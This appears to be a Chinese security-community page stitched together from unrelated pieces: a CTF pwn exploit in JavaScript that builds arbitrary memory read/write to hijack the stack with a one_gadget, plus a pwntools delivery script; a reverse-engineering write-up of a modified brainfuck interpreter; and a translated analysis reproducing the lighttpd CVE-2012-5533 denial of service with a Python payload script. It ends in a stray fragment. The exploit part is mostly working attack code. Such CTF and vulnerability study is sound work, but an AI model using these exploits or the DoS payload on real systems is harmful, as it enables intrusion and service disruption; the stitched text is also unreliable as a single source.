这道题只放出exp，详情参考官方WP
function printhex(s,u){
print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}
function hex(i){
return "0x" + i.toString(16).padStart(16, '0');
}
function pack64(u){
return u[0] + u[1] * 0x100000000;
}
function l32(data){
let result = 0;
for(let i=0;i<4;i++){
result <<= 8;
result |= data & 0xff;
data >>= 8;
}
return result;
}
a = [1.1];
a.shift();
var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
var ab2 = new ArrayBuffer(0x2338);
var dv2 = new DataView(ab2);
for(let i = 0; i < 0x90; i++){
dv2 = new DataView(ab2);
}
a[0x193] = 0xffff;
print("[+]change ab range");
a[0x32] = 0xdead;
for(let i = 0; i < 100000000; i ++){
}
var idx = 0;
for (let i = 0; i < 0x5000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x2338){
idx = i;
}
}
print("Get idx!");
function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}
function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}
var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));
var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x6f5e0;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);
var free_got = new Uint32Array(2);
free_got[0] = elf_base[0] + 0x6bdd0;
free_got[1] = elf_base[1];
printhex("free_got:",free_got);
var libc_base = arb_read(free_got);
libc_base[0] -= 0x9d850;
printhex("libc_base:",libc_base);
var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);
var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c7e);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);
var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
printhex("zero:",zero);
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);
print("finish");
for(let i = 0; i < 100000000; i ++){
}
#!/usr/bin/env python
import string
from pwn import *
from hashlib import sha256
context.log_level = "debug"
dic = string.ascii_letters + string.digits
DEBUG = 0
def solvePow(prefix,h):
for a1 in dic:
for a2 in dic:
for a3 in dic:
for a4 in dic:
x = a1 + a2 + a3 + a4
proof = x + prefix.decode("utf-8")
_hexdigest = sha256(proof.encode()).hexdigest()
if _hexdigest == h.decode("utf-8"):
return x
r = remote("127.0.0.1",9998)
r.recvuntil("sha256(XXXX+")
prefix = r.recvuntil(") == ", drop = True)
h = r.recvuntil("\n", drop = True)
result = solvePow(prefix,h)
r.sendlineafter("Give me XXXX:",result)
data = open("./exp.js","r").read()
data = data.split("\n")
for i in data:
if i == "":
continue
r.sendlineafter("code> ",i)
r.sendlineafter("code> ","EOF")
r.interactive()
## Reverse -> Press
linux下的逆向题目，通过题目附件和ida简单分析可以得到这个是一个简单的类似brainfuck的代码解释器，出题人新加了`*`,核心原理就是对一个数组dataptr的操作，魔改的brainfuck的操作码如下：
| `>` | ++ data_ptr |
| —— | ————————————————- |
| `<` | — data_ptr |
| `+` | ++ _data_ptr |
| `-` | — _data_ptr |
| `.` | putchar( _data_ptr) |
| `,` | _data_ptr = get_char() |
| `[` | if ( _data_ptr != 0) execute next instruction. else jump to ‘[‘ |
| `]` | 和`]` 相反 |
| `_` | _data_ptr_ = *data_ptr+1 |
首先程序标记了brainfuck中`[`、`]`的位置存在mark数组中：
unsigned __int64 sub_4007B6()
{
int v1; // [rsp+8h] [rbp-48h]
int i; // [rsp+Ch] [rbp-44h]
char src[56]; // [rsp+10h] [rbp-40h] BYREF
unsigned __int64 v4; // [rsp+48h] [rbp-8h]
v4 = __readfsqword(0x28u);
memset(bytes1, 0, sizeof(bytes1));
memset(s, 0, sizeof(s));
memset(flag, 0, sizeof(flag));
memset(output, 0, 0xC8uLL);
idx = 0;
dword_6020A0 = 0;
dword_602268 = 0;
dword_602680 = 0;
strcpy(src, "++++++++++[->++++++++++++++++<],[->-<]>>[-]+++++<*++.<");
strcpy(s, src);
v1 = 0;
for ( i = 0; i <= 199; ++i )
{
if ( s[i] == '[' )
{
mark[i] = ++v1;
}
else if ( s[i] == ']' )
{
mark[i] = v1--;
}
else
{
mark[i] = 0;
}
}
return __readfsqword(0x28u) ^ v4;
}
然后读取flag文件，之后进入关键函数对brainfuck代码进行解释：如下：
__int64 sub_40094B()
{
int i; // [rsp+0h] [rbp-8h]
int j; // [rsp+4h] [rbp-4h]
switch ( s[dword_6020A0] ) //++++++++++[->++++++++++++++++<],[->-<]>>[-]+++++<*++.<
{
case '>':
++idx;
break;
case '<':
--idx;
break;
case '+':
++dataptr[idx];
break;
case '-':
--dataptr[idx];
break;
case '*':
dataptr[idx] *= dataptr[idx + 1];
break;
case '.':
output[dword_602268++] = dataptr[idx];
break;
case ',':
dataptr[idx] = flag[dword_602680++];
break;
case '[':
if ( !dataptr[idx] )
{
for ( i = 1; mark[dword_6020A0 + i] != mark[dword_6020A0]; ++i )
;
dword_6020A0 += i;
}
break;
case ']':
for ( j = -1; mark[dword_6020A0 + j] != mark[dword_6020A0]; --j )
;
dword_6020A0 = dword_6020A0 + j - 1;
break;
}
return (unsigned int)++dword_6020A0;
}
这里，`++++++++++[->++++++++++++++++<],[->-<]>>[-]+++++<*++.<`的含义大概是：
++++++++++ # 10 dataptr[0] = 10
[
->++++++++++++++++< # 循环10 16次 10*16=160 dataptr[0] = 10 dataptr[1] += 16 return dataptr[0] = 0 ,dataptr[1] = 160
]
, # 取flag一个字节 dataptr[0] = flag[i]
[
->-< # 160 - flag[i] dataptr[0] - 1 dataptr[1] - 1 return dataptr[0] = 0,dataptr[1] = 160 - dataptr[0]
]
>> # dataptr[2]
[
- # dataptr[2] = 0
]
+++++<* # dataptr[2] = 5 dataptr[1]*=dataptr[2] <=> (160 - flag[i])*5 return dateptr[1]
++ # (160 - flag[i])*5 + 2
. # out = (160 - flag[i])*5 + 2
< # dataptr[0]
逻辑为初始dataptr[0]+=0xa0,(dataptr[0]-flag[i])*5+2, dataptr[0] =
dataptr[1]后面flag每个字节按照这个操作，所以根据out的字节进行爆破即可：
import base64
s = ''
with open('./out.back','rb') as f:
list1 = f.read()
for i in list1:
print hex(ord(i)),
print
d=0
for j in list1:
d+=0xa0
d=d & 0xff
for i in range(128):
if ((d-i)*5+2)&0xff == ord(j):
s+=chr(i)
d=((d-i)*5+2)&0xff
break
print base64.b64decode(s)
'''
0x60 0xe1 0x2f 0x5 0x79 0x80 0x5e 0xe1 0xc5 0x57 0x8b 0xcc 0x5c 0x9a 0x67 0x26 0x1e 0x19 0xaf 0x93 0x3f 0x9 0xe2 0x97 0x99 0x7b 0x86 0xc1 0x25 0x87 0xd6 0xc 0xdd 0xcf 0x2a 0xf5 0x65 0xe 0x73 0x59 0x1d 0x5f 0xa4 0xf4 0x65 0x68 0xd1 0x3d 0xd2 0x98 0x5d 0xfe 0x5b 0xef 0x5b 0xcc
flag{de0bd67e-6d25-87d7-1876-ad131a6165cb}
'''
### 总结
这个是brainfuck语言拓展的题目，魔改的brainfuck，加深了对brainfuck语言的了解。
## 参考
1. [官方WP](https://mp.weixin.qq.com/s/1V5BEsfdZNRKwWP1mCs8wQ)
2. [pwnner WP](https://mp.weixin.qq.com/s/G7rDFqSb4H2HKnr0eFToJQ)
3. [pwnner1 WP](https://mp.weixin.qq.com/s/F-1dLFlPWi2bChvif_Ao0w)
## 附件
[题目附件](https://github.com/1094093288/IMG/tree/master/Pwn/2021Sangfor) | 社区文章 |
# 【漏洞分析】lighttpd域处理拒绝服务漏洞环境从复现到分析
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
作者：[virwolf](http://bobao.360.cn/member/contribute?uid=2943513718)
预估稿费：300RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**一．lighttpd域处理拒绝服务漏洞的环境搭建**
****
**1）安装lighttpd**
因为此漏洞需要固定版本,因此我们需要手动安装。
wget http://download.lighttpd.net/lighttpd/releases-1.4.x/ lighttpd-1.4.31.tar.gz
tar -zxvf lighttpd-1.4.31.tar.gz
cd lighttpd-1.4.31
到这步时，接下来就是执行
./configure
命令，但是在这步可能会出现以下错误：
configure: error: pcre-config not found, install the pcre-devel package or bui with --without-pcre
我们需要执行：
yum install gcc glib2-devel openssl-devel pcre-devel bzip2-devel gzip-devel zlib-devel
来更新缺失的关联包
安装完毕后，继续执行
./configure
make && make install
编译完毕后，执行步骤二。
**2）拷贝lighttpd的执行文件**
创建默认文件：
mkdir lighttpd-test
cd lighttpd-test
拷贝：
cp /usr/local/sbin/lighttpd home/lighttpd-test/
**3) 创建配置文件**
vim lighttpd.conf
编写：
server.document-root="/var/www/"
server.port = 8080
server.username = "www"
server.groupname = "www"
mimetype.assign = (
".html" => "text/html",
".txt" => "text/plain",
".jpg" => "image/jpeg",
".png" => "image/png"
)
static-file.exclude-extensions = ( ".fcgi", ".php", ".rb", "~", ".inc" )
index-file.names = ( "index.html" )
**4）自己编写欢迎页面(index.html)**
vim /var/www/index.html
<html>
<head><title>Hello</title></head>
<body>
<h1>This is a test</h1>
</body>
</html>
**5）开启防火墙，启动lighttpd服务**
开启防火墙：
iptables -I INPUT -p tcp --dport 8080 -j ACCEPT
启动服务：
./lighttpd -f lighttpd.conf
注意：启动服务这里 **必须是绝对路径** ，也可自己去添加下环境变量（这里的路径是home/lighttpd-test/）。
启动完后显示server started。
接下来，可以进入浏览器测试了：
http://127.0.0.1:8080
OK,加载后就会显示我们自己编写的欢迎页面。
**二．lighttpd拒绝服务漏洞原理及复现**
****
**1）原理：漏洞描述:CVE(CAN) ID: CVE-2012-5533**
lighttpd是一款开源的轻量级Web服务器。
lighttpd
1.4.31在处理某些HTTP请求头时，"http_request_split_value()"函数(src/request.c)在处理特制的"Connection"报头域时会陷入无限循环。攻击者利用此漏洞可导致Lighttpd拒绝服务。
**2）漏洞复现**
漏洞脚本：<https://www.exploit-db.com/exploits/22902/>
此脚本为bash脚本，需要改下权限：
在脚本目录下执行命令：
chmod +x test.sh
然后执行：
./test.sh
好的，执行成功。
附带python脚本：
#encoding: utf-8
import socket
if __name__ == '__main__':
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(('192.**.**.**',8080))
sock.send(b'GET/HTTP/1.1rnHost: pwn.edrnConnection: TE,,Keep-Alivernrn')
sock.close()
print('ok')
注释：
命令：
ps aux | grep "light*"
查看lighttpd服务的进程信息。
top
查看任务管理器
kill -9 PID
杀死某进程
**三、动、静结合跟踪漏洞呈现原因**
****
前面我们已知造成漏洞的函数是(src/request.c)里面的" **http_request_split_value()**
"函数，因此我们先找到这个函数位置，在这里我直接将这个函数剪切出来了：
让我们来仔细看看标红的代码，开始进入函数时b肯定是有值的，所以，会进入for循环，起初state为0，所以会进入case
0，然而，咱们仔细看下，其实case 0里面的for循环是没有被执行的。因此在case
0里，直接state=1;break;跳出switch..case。继续for循环，这时state=1,所以进入case
1中，start=s,然后，这里面for函数里条件不等于‘，’时，i++，然后进入if语句，if语句中条件就是start=s，执行break,因此，又继续for循环，state=1，进入case
1中。
有人说，即使进行for循环，也是有结束的时候啊，那么我们仔细看下第一个for循环，里面i值，其实是根据漏洞利用脚本发送数据而判定的，漏洞脚本里面‘，’前面只有两个字节，所以当等于‘，’时是没有变动的，因此，造成了死循环。
那么，接下来，使用gdb调试器动态调试来验证一下，是不是如我们所说的那样。
运行漏洞利用脚本后，使用命令
gdb -p <PID>
进入gdb
调试状态：
如图，直接断在了switch 函数这里，继续跟踪
如图，可看出它一直在循环。那么让我们检测下，其中的变量值
这些变量值是没有变的，所以可以确定造成死循环的原因就是i值没有变过 从而无限陷入for循环造成拒绝服务攻击。 | 社区文章 |
Subsets and Splits